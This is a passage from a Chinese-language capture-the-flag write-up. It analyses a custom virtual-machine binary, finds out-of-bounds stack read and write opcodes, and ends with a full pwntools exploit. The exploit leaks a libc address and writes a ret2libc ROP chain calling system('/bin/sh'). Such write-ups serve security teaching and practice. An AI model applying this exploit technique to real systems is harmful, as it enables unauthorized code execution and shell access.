然后在每一个有用到该指针的地方按Y->输入vm_ctx->\n即可
继续看 main 函数里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall sub_19F1 (vm_ctx *a1) { unsigned int v2; char s[264 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); memset (s, 0 , 0x100u LL); while ( a1->pc < a1->code_size ) { v2 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCL L)) >> 28 ; if ( v2 > 0xA || !v2 ) { puts ("Unsupported instruction" ); return v4 - __readfsqword(0x28u ); } ((void (__fastcall *)(vm_ctx *, char *))funcs_1AAD[v2])(a1, s); } return v4 - __readfsqword(0x28u ); }
对刚才的 opcode 进行分析,指令基部加上指令计数器后 >>28(取最高位,比如 0x12345678取得就是 0x1)
然后根据取出来的不同结果,去进行不同的操作
下面对这些函数分析
add 1 2 3 4 5 6 7 8 9 10 11 vm_ctx *__fastcall add (vm_ctx *a1) { vm_ctx *result; unsigned int v2; v2 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCL L)); a1->pc += 4LL ; result = a1; a1->regs[v2 & 0x1F ] = a1->regs[HIWORD(v2) & 0x1F ] + a1->regs[(v2 >> 5 ) & 0x1F ]; return result; }
首先取出指令
指令寄存器 +4,说明每一条指令是 4 字节,也就是 8 位 16 进制数,也就是 p32
根据加法运算可以推测
v2&0x1f 是目标寄存器,其中 v2&0x1f 是取操作数的最后 5 位,
HIWORD(v2)&0x1f 是取高两个字节的最后 5 位,作为操作数 1
(v2>>5)&0x1f 是取第 5-9 位,作为操作数 2
所以我们可以写出生成 opcode 的函数
1 2 3 def opcode (op, dst, src1, src2 ): instr = ((op ) << 28 )+((src1) << 16 )+((src2 ) << 5 )+(dst ) return instr
下面 7 种操作跟 add 完全一样,只不过 + 号被换成对应的符号了,所以直接来看 0x9 和 0xa 的操作
sub_175D 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 __fastcall sub_175D (vm_ctx *a1, __int64 a2) { unsigned __int64 result; unsigned int v3; _QWORD *v4; v3 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCL L)); a1->pc += 4LL ; result = (unsigned __int8)byte_4010; if ( (unsigned __int8)(a1->regs[(v3 >> 5 ) & 0x1F ] + BYTE2(v3)) < (unsigned __int8)byte_4010 ) { v4 = (_QWORD *)((unsigned __int16)(a1->regs[(v3 >> 5 ) & 0x1F ] + (HIWORD(v3) & 0xFFF )) + a2); *v4 = a1->regs[v3 & 0x1F ]; return (unsigned __int64)v4; } return result; }
其中 result=0xff 作为下面 if 的依据,不过 8 位的 unsigned int 最大也就是 0xff,所以这里的 if 语句不必理会
该函数作用就是向栈(系统给的)上写入数据
取(unsigned __int16)(a1->regs[(v3 >> 5) & 0x1F] + (HIWORD(v3) & 0xFFF)) + a2 作为写入的地址
其中 a1->regs[(v3 >> 5) & 0x1F] 我们可以直接将其设为0,比如用 a1->regs[30](最开始初始化将所有寄存器都设为0)
HIWORD(v3) & 0xFFF 就是高字节的后 12 位 (比如0x12345678对应的就是0x234),我们直接用这个来控制偏移,发现该数我们可以直接用 src1来控制,因为操作码不会超过 0xA,后三个16进制数完全由 src1 控制,比如 opcode(10,2,0x160,30) 就会令该数为 0x160
a2 是传进来的栈上的地址
然后往该地址处写入 a1->regs[v3 & 0x1F] 就是 regs[dst]
sub_189B 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 vm_ctx *__fastcall sub_189B (vm_ctx *a1, __int64 a2) { vm_ctx *result; unsigned __int16 v3; unsigned int v4; v4 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCL L)); a1->pc += 4LL ; result = (vm_ctx *)(unsigned __int8)byte_4010; if ( (unsigned __int8)(a1->regs[(v4 >> 5 ) & 0x1F ] + BYTE2(v4)) < (unsigned __int8)byte_4010 ) { result = a1; v3 = a1->regs[(v4 >> 5 ) & 0x1F ] + (HIWORD(v4) & 0xFFF ); a1->regs[v4 & 0x1F ] = ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 7 ) << 56 ) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 6 ) << 48 ) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 5 ) << 40 ) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 4 ) << 32 ) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 3 ) << 24 ) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 2 ) << 16 ) | *(unsigned __int16 *)(v3 + a2); } return result; }
作用跟上面的函数是反过来的,其中很多的|其实就是按字节来写入,总体上就是将一个地址上的输入写到 regs[dst] 上
if 语句跟上面函数一样,不必理会
思路 跟 ret2libc 差不多,想办法泄露出 libc 基址,然后用 0x9 来写到 main 函数返回地址处即可
将断点下在
1 a1->regs[v4 & 0x1F ] = ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 7 ) << 56 ) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 6 ) << 48 ) .......
观察栈上情况
发现 rsi 在 +0x30 处(rsi 作为函数的第二个参数,也就是上一层函数的栈上地址,其偏移待会儿需要减去)
而发现在 0xe08处有一个 __libc_start_main+128 的地址
确定偏移为 0xe08-0x30=0xdd8
我们将这个地址写到 regs[1] 上
1 payload=p32(opcode(10 ,1 ,0xdd8 ,1 ))
然后我们将各种 offset 写到栈上然后再来读取,读取后利用add ,sub可以计算中各种函数及gadgets的地址
各种偏移需要下断点来栈上查看
具体操作如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload=p32(opcode(10 ,1 ,0xdd8 ,1 )) payload+=p32(opcode(10 ,2 ,0x160 ,30 )) payload+=p32(opcode(2 ,3 ,2 ,1 )) payload+=p32(opcode(10 ,4 ,0x168 ,30 )) payload+=p32(opcode(1 ,5 ,3 ,4 )) payload+=p32(opcode(10 ,6 ,0x170 ,30 )) payload+=p32(opcode(1 ,7 ,6 ,3 )) payload+=p32(opcode(10 ,8 ,0x178 ,30 )) payload+=p32(opcode(1 ,9 ,8 ,3 )) payload+=p32(opcode(10 ,10 ,0x180 ,30 )) payload+=p32(opcode(1 ,11 ,10 ,3 )) payload+=p32(opcode(9 ,5 ,0xd38 ,30 )) payload+=p32(opcode(9 ,7 ,0xd40 ,30 )) payload+=p32(opcode(9 ,9 ,0xd48 ,30 )) payload+=p32(opcode(9 ,11 ,0xd50 ,30 )) payload+=b'aaaa' payload+=p64(offset)+p64(ret_offset)+p64(rdi_offset)+p64(binsh_offset)+p64(system_offset)
后面就是将各种地址写到 main 的返回地址处即可
最后 main 函数返回地址处类似于
1 p64(ret)+p64(pop_rdi_ret_addr)+p64(binsh_addr)+p64(system_addr)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' )def opcode (op, dst, src1, src2 ): instr = ((op ) << 28 )+((src1) << 16 )+((src2 ) << 5 )+(dst ) return instr r=process('./pwn' ) r.recvuntil("opcode: " ) offset=libc.sym['__libc_start_main' ]+128 system_offset=libc.sym['system' ] binsh_offset=next (libc.search(b'/bin/sh' )) ret_offset=0x29139 rdi_offset=0x2a3e5 one_gadget=0xebd43 payload=p32(opcode(10 ,1 ,0xdd8 ,1 )) payload+=p32(opcode(10 ,2 ,0x160 ,30 )) payload+=p32(opcode(2 ,3 ,2 ,1 )) payload+=p32(opcode(10 ,4 ,0x168 ,30 )) payload+=p32(opcode(1 ,5 ,3 ,4 )) payload+=p32(opcode(10 ,6 ,0x170 ,30 )) payload+=p32(opcode(1 ,7 ,6 ,3 )) payload+=p32(opcode(10 ,8 ,0x178 ,30 )) payload+=p32(opcode(1 ,9 ,8 ,3 )) payload+=p32(opcode(10 ,10 ,0x180 ,30 )) payload+=p32(opcode(1 ,11 ,10 ,3 )) payload+=p32(opcode(9 ,5 ,0xd38 ,30 )) payload+=p32(opcode(9 ,7 ,0xd40 ,30 )) payload+=p32(opcode(9 ,9 ,0xd48 ,30 )) payload+=p32(opcode(9 ,11 ,0xd50 ,30 )) payload+=b'aaaa' payload+=p64(offset)+p64(ret_offset)+p64(rdi_offset)+p64(binsh_offset)+p64(system_offset)''' rsp=0x7ffc7aa35e40 bss=0x64f8cc60c0c0 main_ret=0x7ffffa2cd898 pause() ''' r.send(payload) r.interactive()